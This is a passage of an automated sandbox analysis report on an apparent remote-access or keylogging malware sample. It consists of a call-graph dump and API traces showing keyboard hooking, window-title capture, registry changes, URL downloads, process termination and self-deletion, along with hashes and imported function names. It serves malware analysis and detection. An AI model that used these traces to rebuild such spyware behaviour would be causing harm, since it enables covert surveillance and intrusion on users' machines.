53990->53996 53991 40a048 SetFileAttributesW 53991->53987 53992 401eea 26 API calls 53992->53996 53993 401eef 26 API calls 53993->53996 53994 406052 28 API calls 53994->53996 53996->53988 53996->53990 53996->53991 53996->53992 53996->53993 53996->53994 53997 401eea 26 API calls 53996->53997 54020 41b825 CreateFileW 53996->54020 54028 41b892 CreateFileW SetFilePointer WriteFile CloseHandle 53996->54028 53997->53987 53999 409e44 53998->53999 54001 409dad 53998->54001 53999->53987 54000 409dcc CreateFileW 54000->54001 54002 409dda GetFileSize 54000->54002 54001->54000 54003 409e0f CloseHandle 54001->54003 54004 409e21 54001->54004 54005 409e04 Sleep 54001->54005 54006 409dfd 54001->54006 54002->54001 54002->54003 54003->54001 54004->53999 54008 4082dc 28 API calls 54004->54008 54005->54003 54029 40a7f0 83 API calls 54006->54029 54009 409e3d 54008->54009 54010 4098a5 126 API calls 54009->54010 54010->53999 54012 41b7ad CreateFileW 54011->54012 54014 41b7e6 54012->54014 54015 41b7ea 54012->54015 54014->53987 54016 41b801 WriteFile 54015->54016 54017 41b7f1 SetFilePointer 54015->54017 54018 41b816 CloseHandle 54016->54018 54019 41b814 54016->54019 54017->54016 54017->54018 54018->54014 54019->54018 54021 41b84b 54020->54021 54022 41b84f GetFileSize 54020->54022 54021->53996 54030 401e65 54022->54030 54024 41b863 54025 41b875 ReadFile 54024->54025 54026 41b882 54025->54026 54027 41b884 CloseHandle 54025->54027 54026->54027 54027->54021 54028->53996 54029->54005 54031 401e6d 54030->54031 54033 401e77 54031->54033 54034 4023b7 28 API calls 54031->54034 54033->54024 54034->54033 54063 40a402 54035->54063 54036 4099be 54037 40a45c Sleep GetForegroundWindow GetWindowTextLengthW 54038 40b027 28 API calls 54037->54038 54038->54063 54042 40a4a2 GetWindowTextW 54042->54063 54044 40affa 28 API calls 54044->54063 54045 40a5ff 54047 401e13 26 API calls 54045->54047 54046 41aeab GetLastInputInfo GetTickCount 54046->54063 54047->54036 54048 40a569 Sleep 54048->54063 54049 440e5e 26 API calls 54049->54063 54051 401f66 28 API calls 54051->54063 54052 40a4f1 54054 4082dc 28 API calls 54052->54054 54052->54063 54068 40a876 31 API calls ___crtLCMapStringA 54052->54068 54054->54052 54056 4028cf 28 API calls 54056->54063 54057 405ce6 28 API calls 54057->54063 54059 41b013 28 API calls 54059->54063 54060 401e13 26 API calls 54060->54063 54061 409d58 27 API calls 54061->54063 54062 401eea 26 API calls 54062->54063 54063->54036 54063->54037 54063->54042 54063->54044 54063->54045 54063->54046 54063->54048 54063->54049 54063->54051 54063->54052 54063->54056 54063->54057 54063->54059 54063->54060 54063->54061 54063->54062 54064 433724 5 API calls __Init_thread_wait 54063->54064 54065 433ab0 29 API calls __onexit 54063->54065 54066 4336da EnterCriticalSection LeaveCriticalSection SetEvent ResetEvent 54063->54066 54067 4082a8 28 API calls 54063->54067 54069 40b0dd 28 API calls 54063->54069 54070 40ae58 44 API calls 2 library calls 54063->54070 54071 404c9e 28 API calls 54063->54071 54064->54063 54065->54063 54066->54063 54067->54063 54068->54052 54069->54063 54070->54063 54071->54063 54073 409a63 GetMessageA 54072->54073 54074 4099ff SetWindowsHookExA 54072->54074 54075 409a75 TranslateMessage DispatchMessageA 54073->54075 54087 40999c 54073->54087 54074->54073 54077 409a1b GetLastError 54074->54077 54075->54073 54075->54087 54078 41af51 28 API calls 54077->54078 54079 409a31 54078->54079 54088 404c9e 28 API calls 54079->54088 54081 409a3e 54082 401f66 28 API calls 54081->54082 54083 409a4d 54082->54083 54084 41a891 79 API calls 54083->54084 54085 409a52 54084->54085 54086 401eea 26 API calls 54085->54086 54086->54087 54088->54081 54091 402d97 54090->54091 54094 4030f7 54091->54094 54093 402dab 54093->53931 54095 403101 54094->54095 54097 403115 54095->54097 54098 4036c2 28 API calls 54095->54098 54097->54093 54098->54097 54102 403dc2 54099->54102 54101 403cc9 54101->53670 54103 403dce 54102->54103 54106 402ffd 54103->54106 54105 403de3 54105->54101 54107 40300e 54106->54107 54108 4032a4 28 API calls 54107->54108 54109 40301a 54108->54109 54111 40302e 54109->54111 54112 4035e8 28 API calls 54109->54112 54111->54105 54112->54111 54119 4397ca 54113->54119 54117 4128c5 RegSetValueExA RegCloseKey 54116->54117 54118 4128ec 54116->54118 54117->54118 54118->53695 54122 43974b 54119->54122 54121 401608 54121->53693 54123 43975a 54122->54123 54124 43976e 54122->54124 54130 445564 20 API calls __dosmaperr 54123->54130 54129 43976a __alldvrm 54124->54129 54132 447811 11 API calls 2 library calls 54124->54132 54127 43975f 54131 43aa37 26 API calls _Deallocate 54127->54131 54129->54121 54130->54127 54131->54129 54132->54129 54141 4470cf GetLastError 54133->54141 54135 40cc64 54136 41a659 54135->54136 54167 43eabc 54136->54167 54139 43eabc 38 API calls 54140 41a66a 54139->54140 54140->53709 54142 4470e5 54141->54142 54143 4470f1 54141->54143 54162 447676 11 API calls 2 library calls 54142->54162 54163 448916 20 API calls 3 library calls 54143->54163 54146 4470eb 54146->54143 54148 44713a SetLastError 54146->54148 54147 4470fd 54149 447105 54147->54149 54164 4476cc 11 API calls 2 library calls 54147->54164 54148->54135 54152 446cd5 _free 20 API calls 54149->54152 54151 44711a 54151->54149 54153 447121 54151->54153 54154 44710b 54152->54154 54165 446f41 20 API calls __dosmaperr 54153->54165 54156 447146 SetLastError 54154->54156 54166 4455c6 38 API calls _abort 54156->54166 54157 44712c 54159 446cd5 _free 20 API calls 54157->54159 54161 447133 54159->54161 54161->54148 54161->54156 54162->54146 54163->54147 54164->54151 54165->54157 54168 4470cf pre_c_initialization 38 API calls 54167->54168 54169 41a65f 54168->54169 54169->54139 54173 41acc4 ctype ___scrt_fastfail 54170->54173 54171 401f66 28 API calls 54172 41ad39 54171->54172 54172->53714 54173->54171 54174->53730 54176 414081 54175->54176 54177 41408b getaddrinfo WSASetLastError 54175->54177 54206 413f0f 35 API calls ___std_exception_copy 54176->54206 54177->53790 54179 414086 54179->54177 54207 41ab50 GlobalMemoryStatusEx 54180->54207 54182 41ab8d 54182->53790 54208 41371e 54183->54208 54187 40ccbc ___scrt_fastfail 54186->54187 54188 412735 3 API calls 54187->54188 54189 40ccf2 54188->54189 54190 403b40 28 API calls 54189->54190 54191 40cd03 54190->54191 54191->53790 54193 40cc0d 54192->54193 54194 412546 3 API calls 54193->54194 54196 40cc14 54194->54196 54195 40cc2c 54195->53790 54196->54195 54197 41258f 3 API calls 54196->54197 54197->54195 54198->53790 54200 401f66 28 API calls 54199->54200 54201 40e776 54200->54201 54201->53790 54202->53790 54203->53790 54204->53790 54205->53790 54206->54179 54207->54182 54211 4136f1 54208->54211 54212 413706 ___scrt_initialize_default_local_stdio_options 54211->54212 54215 43e4ed 54212->54215 54218 43b240 54215->54218 54219 43b280 54218->54219 54220 43b268 54218->54220 54219->54220 54222 43b288 54219->54222 54242 445564 20 API calls __dosmaperr 54220->54242 54244 4394ee 38 API calls 3 library calls 54222->54244 54223 43b26d 54243 43aa37 26 API calls _Deallocate 54223->54243 54226 43b298 54245 43b9c6 20 API calls 2 library calls 54226->54245 54229 43b310 54246 43c034 50 API calls 3 library calls 54229->54246 54230 413714 54230->53790 54233 43b278 54235 433f37 54233->54235 54234 43b31b 54247 43ba30 20 API calls _free 54234->54247 54236 433f42 IsProcessorFeaturePresent 54235->54236 54237 433f40 54235->54237 54239 4343b4 54236->54239 54237->54230 54248 434378 SetUnhandledExceptionFilter UnhandledExceptionFilter GetCurrentProcess TerminateProcess 54239->54248 54241 434497 54241->54230 54242->54223 54243->54233 54244->54226 54245->54229 54246->54234 54247->54233 54248->54241 54251 40cd12 54250->54251 54252 403b9e 28 API calls 54251->54252 54253 40ca3a 54252->54253 54254 402860 54253->54254 54258 40286f 54254->54258 54255 4028b1 54263 402daf 54255->54263 54257 4028af 54257->53839 54258->54255 54259 4028a6 54258->54259 54262 402d68 28 API calls 54259->54262 54261->53820 54262->54257 54264 402dbb 54263->54264 54265 4030f7 28 API calls 54264->54265 54266 402dcd 54265->54266 54266->54257 54271 40e642 54267->54271 54268 41258f 3 API calls 54268->54271 54269 40e6e6 54273 4082dc 28 API calls 54269->54273 54270 4082dc 28 API calls 54289 40e679 54270->54289 54271->54268 54271->54269 54272 40e6d6 Sleep 54271->54272 54271->54289 54300 40bf04 54271->54300 54272->54271 54276 40e6f1 54273->54276 54275 41b013 28 API calls 54275->54289 54277 41b013 28 API calls 54276->54277 54278 40e6fd 54277->54278 54388 41284c 29 API calls 54278->54388 54281 401e13 26 API calls 54281->54289 54282 40e710 54283 401e13 26 API calls 54282->54283 54285 40e71c 54283->54285 54284 401f66 28 API calls 54284->54289 54286 401f66 28 API calls 54285->54286 54287 40e72d 54286->54287 54290 4127aa 29 API calls 54287->54290 54288 4127aa 29 API calls 54288->54289 54289->54270 54289->54272 54289->54275 54289->54281 54289->54284 54289->54288 54387 41284c 29 API calls 54289->54387 54291 40e740 54290->54291 54389 411771 TerminateProcess WaitForSingleObject 54291->54389 54293 40e748 ExitProcess 54419 41170f 61 API calls 54294->54419 54390 411771 TerminateProcess WaitForSingleObject 54300->54390 54302 40bf13 54303 40bf26 54302->54303 54391 40afba TerminateThread 54302->54391 54305 40bf36 54303->54305 54412 418dfe 9 API calls 54303->54412 54307 40bf3f 54305->54307 54309 40bf50 54305->54309 54413 41b63a 9 API calls 54307->54413 54310 40bf76 54309->54310 54311 412a52 2 API calls 54309->54311 54312 412a52 2 API calls 54310->54312 54313 40bf95 54310->54313 54311->54310 54312->54313 54314 412a52 2 API calls 54313->54314 54315 40bfb2 ___scrt_fastfail 54313->54315 54314->54315 54316 412735 3 API calls 54315->54316 54317 40c002 54316->54317 54318 40c019 54317->54318 54319 40c009 GetModuleFileNameW 54317->54319 54320 40c020 RegDeleteKeyA 54318->54320 54319->54318 54321 40c03f 54320->54321 54322 40c058 SetFileAttributesW 54321->54322 54323 40c049 54321->54323 54398 41ad43 54322->54398 54325 40c055 SetFileAttributesW 54323->54325 54325->54322 54327 41b013 28 API calls 54328 40c086 54327->54328 54329 4028cf 28 API calls 54328->54329 54330 40c094 54329->54330 54331 401e13 26 API calls 54330->54331 54332 40c09e 54331->54332 54333 401eea 26 API calls 54332->54333 54334 40c0a7 54333->54334 54335 403b40 28 API calls 54334->54335 54336 40c0c9 54335->54336 54337 4028cf 28 API calls 54336->54337 54338 40c0d4 54337->54338 54409 403cdc 54338->54409 54340 40c0e0 54341 401e13 26 API calls 54340->54341 54342 40c0ea 54341->54342 54343 401e13 26 API calls 54342->54343 54344 40c0f3 54343->54344 54345 403b40 28 API calls 54344->54345 54346 40c101 54345->54346 54347 403cbb 28 API calls 54346->54347 54348 40c110 54347->54348 54349 401e13 26 API calls 54348->54349 54350 40c11a 54349->54350 54351 40c176 54350->54351 54353 403b40 28 API calls 54350->54353 54352 403b40 28 API calls 54351->54352 54355 40c191 54352->54355 54354 40c135 54353->54354 54356 403cbb 28 API calls 54354->54356 54357 4028cf 28 API calls 54355->54357 54359 40c144 54356->54359 54358 40c19c 54357->54358 54360 4028cf 28 API calls 54358->54360 54361 4028cf 28 API calls 54359->54361 54362 40c1a8 54360->54362 54363 40c150 54361->54363 54364 401e13 26 API calls 54362->54364 54365 401e13 26 API calls 54363->54365 54366 40c1bc 54364->54366 54367 40c164 54365->54367 54368 401e13 26 API calls 54366->54368 54369 401e13 26 API calls 54367->54369 54370 40c1c5 54368->54370 54371 40c16d 54369->54371 54372 401e13 26 API calls 54370->54372 54373 401e13 26 API calls 54371->54373 54374 40c1ce 54372->54374 54373->54351 54379 40c22f 54374->54379 54414 40b0dd 28 API calls 54374->54414 54376 40c206 54377 4028cf 28 API calls 54376->54377 54378 40c212 54377->54378 54380 401e13 26 API calls 54378->54380 54382 41b79a 4 API calls 54379->54382 54381 40c226 54380->54381 54383 401e13 26 API calls 54381->54383 54384 40c267 54382->54384 54383->54379 54385 40c286 ExitProcess 54384->54385 54386 40c279 ShellExecuteW 54384->54386 54386->54385 54387->54289 54388->54282 54389->54293 54390->54302 54392 40afd3 UnhookWindowsHookEx TerminateThread 54391->54392 54393 40af77 54391->54393 54392->54393 54394 40af83 DeleteFileW 54393->54394 54396 40af9f 54394->54396 54395 40afb5 54395->54303 54396->54395 54397 40afae RemoveDirectoryW 54396->54397 54397->54395 54399 41ad53 54398->54399 54415 41a650 54399->54415 54402 43eadd 38 API calls 54403 41ad7e 54402->54403 54404 43eabc 38 API calls 54403->54404 54405 41ad8a 54404->54405 54406 40c07b 54405->54406 54407 43eabc 38 API calls 54405->54407 54418 41c393 28 API calls 54405->54418 54406->54327 54407->54405 54410 402daf 28 API calls 54409->54410 54411 403cea 54410->54411 54411->54340 54412->54305 54413->54309 54414->54376 54416 4397ca 27 API calls 54415->54416 54417 41a657 GetCurrentProcessId 54416->54417 54417->54402 54418->54405 54420 43aba8 54423 43abb4 _swprintf ___scrt_is_nonwritable_in_current_image 54420->54423 54421 43abc2 54438 445564 20 API calls __dosmaperr 54421->54438 54423->54421 54426 43abec 54423->54426 54424 43abc7 54439 43aa37 26 API calls _Deallocate 54424->54439 54433 444cdc EnterCriticalSection 54426->54433 54428 43abf7 54434 43ac98 54428->54434 54429 43abd2 __wsopen_s 54433->54428 54436 43aca6 54434->54436 54435 43ac02 54440 43ac1f LeaveCriticalSection std::_Lockit::~_Lockit 54435->54440 54436->54435 54441 448626 39 API calls 2 library calls 54436->54441 54438->54424 54439->54429 54440->54429 54441->54436 54442 402bcc 54443 402bd7 54442->54443 54444 402bdf 54442->54444 54450 403315 54443->54450 54445 402beb 54444->54445 54459 4015d3 54444->54459 54451 4015d3 22 API calls 54450->54451 54452 40332a 54451->54452 54453 402bdd 54452->54453 54454 40333b 54452->54454 54469 43a9bc 26 API calls 4 library calls 54454->54469 54456 43aa56 54470 43aa64 11 API calls _abort 54456->54470 54458 43aa63 54461 433818 54459->54461 54460 43aa9c ___crtLCMapStringA 21 API calls 54460->54461 54461->54460 54462 402be9 54461->54462 54465 433839 std::_Facet_Register 54461->54465 54471 442410 7 API calls 2 library calls 54461->54471 54464 433ff7 std::_Facet_Register 54473 437de7 RaiseException 54464->54473 54465->54464 54472 437de7 RaiseException 54465->54472 54468 434014 54469->54456 54470->54458 54471->54461 54472->54464 54473->54468 54474 414f4c 54489 41a726 54474->54489 54476 414f55 54477 401fbd 28 API calls 54476->54477 54478 414f64 54477->54478 54479 404468 60 API calls 54478->54479 54480 414f70 54479->54480 54481 401eea 26 API calls 54480->54481 54482 414f79 54481->54482 54483 401d8c 26 API calls 54482->54483 54484 4163d6 54483->54484 54485 401eea 26 API calls 54484->54485 54486 4163e2 54485->54486 54487 401eea 26 API calls 54486->54487 54488 4163ee 54487->54488 54490 41a734 54489->54490 54491 43aa9c ___crtLCMapStringA 21 API calls 54490->54491 54492 41a73e InternetOpenW InternetOpenUrlW 54491->54492 54493 41a767 InternetReadFile 54492->54493 54494 41a78a 54493->54494 54494->54493 54495 401f86 28 API calls 54494->54495 54496 41a7b7 InternetCloseHandle InternetCloseHandle 54494->54496 54498 401eea 26 API calls 54494->54498 54495->54494 54497 41a7c9 54496->54497 54497->54476 54498->54494

                                                                                            Executed Functions

                                                                                            Function 0041BEEE Relevance: 115.6, APIs: 40, Strings: 26, Instructions: 140libraryloaderCOMMON
                                                                                            Download Yara Rule

                                                                                            Control-flow Graph

                                                                                            APIs
                                                                                            • LoadLibraryA.KERNEL32(Psapi,GetProcessImageFileNameW,?,?,?,?,0040D856), ref: 0041BF03
                                                                                            • GetProcAddress.KERNEL32(00000000), ref: 0041BF0C
                                                                                            • GetModuleHandleA.KERNEL32(Kernel32,GetProcessImageFileNameW,?,?,?,?,0040D856), ref: 0041BF23
                                                                                            • GetProcAddress.KERNEL32(00000000), ref: 0041BF26
                                                                                            • LoadLibraryA.KERNEL32(shcore,SetProcessDpiAwareness,?,?,?,?,0040D856), ref: 0041BF38
                                                                                            • GetProcAddress.KERNEL32(00000000), ref: 0041BF3B
                                                                                            • LoadLibraryA.KERNEL32(user32,SetProcessDpiAwareness,?,?,?,?,0040D856), ref: 0041BF4C
                                                                                            • GetProcAddress.KERNEL32(00000000), ref: 0041BF4F
                                                                                            • LoadLibraryA.KERNEL32(ntdll,NtUnmapViewOfSection,?,?,?,?,0040D856), ref: 0041BF60
                                                                                            • GetProcAddress.KERNEL32(00000000), ref: 0041BF63
                                                                                            • LoadLibraryA.KERNEL32(kernel32,GlobalMemoryStatusEx,?,?,?,?,0040D856), ref: 0041BF70
                                                                                            • GetProcAddress.KERNEL32(00000000), ref: 0041BF73
                                                                                            • GetModuleHandleA.KERNEL32(kernel32,IsWow64Process,?,?,?,?,0040D856), ref: 0041BF80
                                                                                            • GetProcAddress.KERNEL32(00000000), ref: 0041BF83
                                                                                            • GetModuleHandleA.KERNEL32(kernel32,GetComputerNameExW,?,?,?,?,0040D856), ref: 0041BF90
                                                                                            • GetProcAddress.KERNEL32(00000000), ref: 0041BF93
                                                                                            • LoadLibraryA.KERNEL32(Shell32,IsUserAnAdmin,?,?,?,?,0040D856), ref: 0041BFA4
                                                                                            • GetProcAddress.KERNEL32(00000000), ref: 0041BFA7
                                                                                            • GetModuleHandleA.KERNEL32(kernel32,SetProcessDEPPolicy,?,?,?,?,0040D856), ref: 0041BFB4
                                                                                            • GetProcAddress.KERNEL32(00000000), ref: 0041BFB7
                                                                                            • GetModuleHandleA.KERNEL32(user32,EnumDisplayDevicesW,?,?,?,?,0040D856), ref: 0041BFC8
                                                                                            • GetProcAddress.KERNEL32(00000000), ref: 0041BFCB
                                                                                            • GetModuleHandleA.KERNEL32(user32,EnumDisplayMonitors,?,?,?,?,0040D856), ref: 0041BFDC
                                                                                            • GetProcAddress.KERNEL32(00000000), ref: 0041BFDF
                                                                                            • GetModuleHandleA.KERNEL32(user32,GetMonitorInfoW,?,?,?,?,0040D856), ref: 0041BFF0
                                                                                            • GetProcAddress.KERNEL32(00000000), ref: 0041BFF3
                                                                                            • GetModuleHandleA.KERNEL32(kernel32,GetSystemTimes,?,?,?,?,0040D856), ref: 0041C000
                                                                                            • GetProcAddress.KERNEL32(00000000), ref: 0041C003
                                                                                            • LoadLibraryA.KERNEL32(Shlwapi,0000000C,?,?,?,?,0040D856), ref: 0041C011
                                                                                            • GetProcAddress.KERNEL32(00000000), ref: 0041C014
                                                                                            • LoadLibraryA.KERNEL32(kernel32,GetConsoleWindow,?,?,?,?,0040D856), ref: 0041C021
                                                                                            • GetProcAddress.KERNEL32(00000000), ref: 0041C024
                                                                                            • GetModuleHandleA.KERNEL32(ntdll,NtSuspendProcess,?,?,?,?,0040D856), ref: 0041C036
                                                                                            • GetProcAddress.KERNEL32(00000000), ref: 0041C039
                                                                                            • GetModuleHandleA.KERNEL32(ntdll,NtResumeProcess,?,?,?,?,0040D856), ref: 0041C046
                                                                                            • GetProcAddress.KERNEL32(00000000), ref: 0041C049
                                                                                            • LoadLibraryA.KERNEL32(Iphlpapi,GetExtendedTcpTable,?,?,?,?,0040D856), ref: 0041C05B
                                                                                            • GetProcAddress.KERNEL32(00000000), ref: 0041C05E
                                                                                            • LoadLibraryA.KERNEL32(Iphlpapi,GetExtendedUdpTable,?,?,?,?,0040D856), ref: 0041C06B
                                                                                            • GetProcAddress.KERNEL32(00000000), ref: 0041C06E
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: AddressProc$HandleLibraryLoadModule
                                                                                            • String ID: EnumDisplayDevicesW$EnumDisplayMonitors$GetComputerNameExW$GetConsoleWindow$GetExtendedTcpTable$GetExtendedUdpTable$GetMonitorInfoW$GetProcessImageFileNameW$GetSystemTimes$GlobalMemoryStatusEx$Iphlpapi$IsUserAnAdmin$IsWow64Process$Kernel32$NtResumeProcess$NtSuspendProcess$NtUnmapViewOfSection$Psapi$SetProcessDEPPolicy$SetProcessDpiAwareness$Shell32$Shlwapi$kernel32$ntdll$shcore$user32
                                                                                            • API String ID: 384173800-625181639
                                                                                            • Opcode ID: b0b2e61fc073e98d70dce9ef4f7eaaaad63808f39ef958059982ad015adeb2a9
                                                                                            • Instruction ID: 91c85bc0cfa8e625a7056272f5779649be84715ca0db9f9d819234a6a75bf275
                                                                                            • Opcode Fuzzy Hash: b0b2e61fc073e98d70dce9ef4f7eaaaad63808f39ef958059982ad015adeb2a9
                                                                                            • Instruction Fuzzy Hash: 4C31E2A0E8035C7ADB207BB69CC9F3B7E6DD9847953510427B54893190EB7DEC408EAE
                                                                                            Function 0040D83A Relevance: 62.0, APIs: 13, Strings: 22, Instructions: 800COMMON
                                                                                            Download Yara Rule

                                                                                            Control-flow Graph

                                                                                            • Executed
                                                                                            • Not Executed
                                                                                            control_flow_graph 5 40d83a-40d8bc call 41beee GetModuleFileNameW call 40e240 call 401fbd * 2 call 41b1ce call 40e995 call 401d8c call 43ea30 22 40d908-40d9d0 call 401d64 call 401e8f call 401d64 call 404cbf call 405ce6 call 401eef call 401eea * 2 call 401d64 call 401ebd call 40541d call 401d64 call 404bb1 call 401d64 call 404bb1 5->22 23 40d8be-40d903 call 40ea5e call 401d64 call 401e8f call 40fd92 call 40ea0f call 40e22d 5->23 69 40d9d2-40da1d call 4085b4 call 401eef call 401eea call 401e8f call 41258f 22->69 70 40da23-40da3e call 401d64 call 40b125 22->70 49 40dd69-40dd7a call 401eea 23->49 69->70 101 40e20c-40e22c call 401e8f call 4129da call 41138d 69->101 80 40da40-40da5f call 401e8f call 41258f 70->80 81 40da78-40da7f call 40bed7 70->81 80->81 97 40da61-40da77 call 401e8f call 4129da 80->97 89 40da81-40da83 81->89 90 40da88-40da8f 81->90 94 40dd68 89->94 95 40da91 90->95 96 40da93-40da9f call 41a66e 90->96 94->49 95->96 103 40daa1-40daa3 96->103 104 40daa8-40daac 96->104 97->81 103->104 107 40daeb-40dafe call 401d64 call 401e8f 104->107 108 40daae call 40697b 104->108 127 40db00 call 4069ba 107->127 128 40db05-40db8d call 401d64 call 41b013 call 401e18 call 401e13 call 401d64 call 401e8f call 401d64 call 401e8f call 401d64 call 401e8f call 401d64 call 401e8f 107->128 117 40dab3-40dab5 108->117 120 40dac1-40dad4 call 401d64 call 401e8f 117->120 121 40dab7-40dabc call 40699d call 4064d0 117->121 120->107 137 40dad6-40dadc 120->137 121->120 127->128 163 40dbf5-40dbf9 128->163 164 40db8f-40dba8 call 401d64 call 401e8f call 43a821 128->164 137->107 139 40dade-40dae4 137->139 139->107 142 40dae6 call 4064d0 139->142 142->107 166 40dd7d-40ddd4 call 436260 call 4022f8 call 401e8f * 2 call 412735 call 4082d7 163->166 167 40dbff-40dc06 163->167 164->163 191 40dbaa-40dbf0 call 401d64 call 401e8f call 401d64 call 401e8f call 40c89e call 401e18 call 401e13 164->191 222 40ddd9-40de2f call 401d64 call 401e8f call 401f66 call 401e8f call 4127aa call 401d64 call 401e8f call 43a7f7 166->222 170 40dc84-40dc8e call 4082d7 167->170 171 40dc08-40dc82 call 401d64 call 401e8f call 401d64 call 401e8f call 401d64 call 401e8f call 401d64 call 401e8f call 401d64 call 401e8f call 40bc67 167->171 177 40dc93-40dcb7 call 4022f8 call 433ad3 170->177 171->177 198 40dcc6 177->198 199 40dcb9-40dcc4 call 436260 177->199 191->163 204 40dcc8-40dd13 call 401e07 call 43e559 call 4022f8 call 401e8f call 4022f8 call 401e8f call 41297a 198->204 199->204 259 40dd18-40dd3d call 433adc call 401d64 call 40b125 204->259 273 40de31 222->273 274 40de4c-40de4e 222->274 259->222 272 40dd43-40dd64 call 401d64 call 41b013 call 40e2f1 259->272 272->222 292 40dd66 272->292 278 40de33-40de4a call 41c0bb CreateThread 273->278 275 40de50-40de52 274->275 276 40de54 274->276 275->278 279 40de5a-40df39 call 401f66 * 2 call 41a891 call 401d64 call 401e8f call 401d64 call 401e8f call 401d64 call 401e8f call 43a7f7 call 401d64 call 401e8f call 401d64 call 401e8f call 401d64 call 401e8f call 401d64 call 401e8f StrToIntA call 409517 call 401d64 call 401e8f 276->279 278->279 330 40df74 279->330 331 40df3b-40df72 call 433818 call 401d64 call 401e8f CreateThread 279->331 292->94 333 40df76-40df8e call 401d64 call 401e8f 330->333 331->333 343 40df90-40dfc7 call 433818 call 401d64 call 401e8f CreateThread 333->343 344 40dfcc-40dfdf call 401d64 call 401e8f 333->344 343->344 354 40dfe1-40e03a call 401d64 call 401e8f call 401d64 call 401e8f call 40c854 call 401e18 call 401e13 CreateThread 344->354 355 40e03f-40e052 call 401d64 call 401e8f 344->355 354->355 365 40e054-40e088 call 401d64 call 401e8f call 401d64 call 401e8f call 43a7f7 call 40b95c 355->365 366 40e08d-40e0b1 call 41a9ad call 401e18 call 401e13 355->366 365->366 388 40e0b3-40e0b4 SetProcessDEPPolicy 366->388 389 40e0b6-40e0c9 CreateThread 366->389 388->389 390 40e0d7-40e0de 389->390 391 40e0cb-40e0d5 CreateThread 389->391 394 40e0e0-40e0ea CreateThread 390->394 395 40e0ec-40e0f3 390->395 391->390 394->395 398 40e0f5-40e0f8 395->398 399 40e106-40e10b 395->399 401 40e146-40e161 call 401e8f call 412546 398->401 402 40e0fa-40e104 398->402 404 40e110-40e141 call 401f66 call 404c9e call 401f66 call 41a891 call 401eea 399->404 413 40e167-40e1a7 call 41b013 call 401e07 call 41265c call 401e13 call 401e07 401->413 414 40e1fd-40e207 call 40cbac call 40cc37 call 4140ac 401->414 402->404 404->401 435 40e1c0-40e1c5 DeleteFileW 413->435 414->101 436 40e1c7-40e1f8 call 41b013 call 401e07 call 412a52 call 401e13 * 2 435->436 437 40e1a9-40e1ac 435->437 436->414 437->436 438 40e1ae-40e1bb Sleep call 401e07 437->438 438->435
                                                                                            APIs
                                                                                              • Part of subcall function 0041BEEE: LoadLibraryA.KERNEL32(Psapi,GetProcessImageFileNameW,?,?,?,?,0040D856), ref: 0041BF03
                                                                                              • Part of subcall function 0041BEEE: GetProcAddress.KERNEL32(00000000), ref: 0041BF0C
                                                                                              • Part of subcall function 0041BEEE: GetModuleHandleA.KERNEL32(Kernel32,GetProcessImageFileNameW,?,?,?,?,0040D856), ref: 0041BF23
                                                                                              • Part of subcall function 0041BEEE: GetProcAddress.KERNEL32(00000000), ref: 0041BF26
                                                                                              • Part of subcall function 0041BEEE: LoadLibraryA.KERNEL32(shcore,SetProcessDpiAwareness,?,?,?,?,0040D856), ref: 0041BF38
                                                                                              • Part of subcall function 0041BEEE: GetProcAddress.KERNEL32(00000000), ref: 0041BF3B
                                                                                              • Part of subcall function 0041BEEE: LoadLibraryA.KERNEL32(user32,SetProcessDpiAwareness,?,?,?,?,0040D856), ref: 0041BF4C
                                                                                              • Part of subcall function 0041BEEE: GetProcAddress.KERNEL32(00000000), ref: 0041BF4F
                                                                                              • Part of subcall function 0041BEEE: LoadLibraryA.KERNEL32(ntdll,NtUnmapViewOfSection,?,?,?,?,0040D856), ref: 0041BF60
                                                                                              • Part of subcall function 0041BEEE: GetProcAddress.KERNEL32(00000000), ref: 0041BF63
                                                                                              • Part of subcall function 0041BEEE: LoadLibraryA.KERNEL32(kernel32,GlobalMemoryStatusEx,?,?,?,?,0040D856), ref: 0041BF70
                                                                                              • Part of subcall function 0041BEEE: GetProcAddress.KERNEL32(00000000), ref: 0041BF73
                                                                                              • Part of subcall function 0041BEEE: GetModuleHandleA.KERNEL32(kernel32,IsWow64Process,?,?,?,?,0040D856), ref: 0041BF80
                                                                                              • Part of subcall function 0041BEEE: GetProcAddress.KERNEL32(00000000), ref: 0041BF83
                                                                                              • Part of subcall function 0041BEEE: GetModuleHandleA.KERNEL32(kernel32,GetComputerNameExW,?,?,?,?,0040D856), ref: 0041BF90
                                                                                              • Part of subcall function 0041BEEE: GetProcAddress.KERNEL32(00000000), ref: 0041BF93
                                                                                              • Part of subcall function 0041BEEE: LoadLibraryA.KERNEL32(Shell32,IsUserAnAdmin,?,?,?,?,0040D856), ref: 0041BFA4
                                                                                              • Part of subcall function 0041BEEE: GetProcAddress.KERNEL32(00000000), ref: 0041BFA7
                                                                                              • Part of subcall function 0041BEEE: GetModuleHandleA.KERNEL32(kernel32,SetProcessDEPPolicy,?,?,?,?,0040D856), ref: 0041BFB4
                                                                                              • Part of subcall function 0041BEEE: GetProcAddress.KERNEL32(00000000), ref: 0041BFB7
                                                                                              • Part of subcall function 0041BEEE: GetModuleHandleA.KERNEL32(user32,EnumDisplayDevicesW,?,?,?,?,0040D856), ref: 0041BFC8
                                                                                              • Part of subcall function 0041BEEE: GetProcAddress.KERNEL32(00000000), ref: 0041BFCB
                                                                                              • Part of subcall function 0041BEEE: GetModuleHandleA.KERNEL32(user32,EnumDisplayMonitors,?,?,?,?,0040D856), ref: 0041BFDC
                                                                                              • Part of subcall function 0041BEEE: GetProcAddress.KERNEL32(00000000), ref: 0041BFDF
